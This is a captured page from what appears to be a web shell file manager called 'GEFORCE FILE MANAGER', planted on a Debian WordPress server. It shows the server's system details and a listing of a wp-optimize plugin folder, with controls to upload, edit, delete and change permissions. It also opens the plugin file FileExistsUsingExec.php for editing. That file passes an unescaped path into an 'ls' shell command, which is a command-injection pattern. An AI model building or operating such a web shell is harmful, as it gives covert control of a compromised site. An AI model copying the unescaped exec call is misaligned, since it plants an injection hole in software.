[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
rosell-dk
/
file-util
/
src
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 FileExists.php
2,913 B
SET
[ EDIT ]
|
[ DEL ]
📄 FileExistsUsingExec.php
1,056 B
SET
[ EDIT ]
|
[ DEL ]
📄 PathValidator.php
2,143 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: FileExistsUsingExec.php
<?php namespace FileUtil; use ExecWithFallback\ExecWithFallback; /** * A fileExist implementation using exec() * * @package FileUtil * @author Bjørn Rosell <it@rosell.dk> */ class FileExistsUsingExec { /** * A fileExist based on an exec call. * * @throws \Exception If exec cannot be called * @return boolean|null True if file exists. False if it doesn't. */ public static function fileExists($path) { if (!ExecWithFallback::anyAvailable()) { throw new \Exception( 'cannot determine if file exists using exec() or similar - the function is unavailable' ); } // Lets try to find out by executing "ls path/to/cwebp" ExecWithFallback::exec('ls ' . $path, $output, $returnCode); if (($returnCode == 0) && (isset($output[0]))) { return true; } // We assume that "ls" command is general available! // As that failed, we can conclude the file does not exist. return false; } }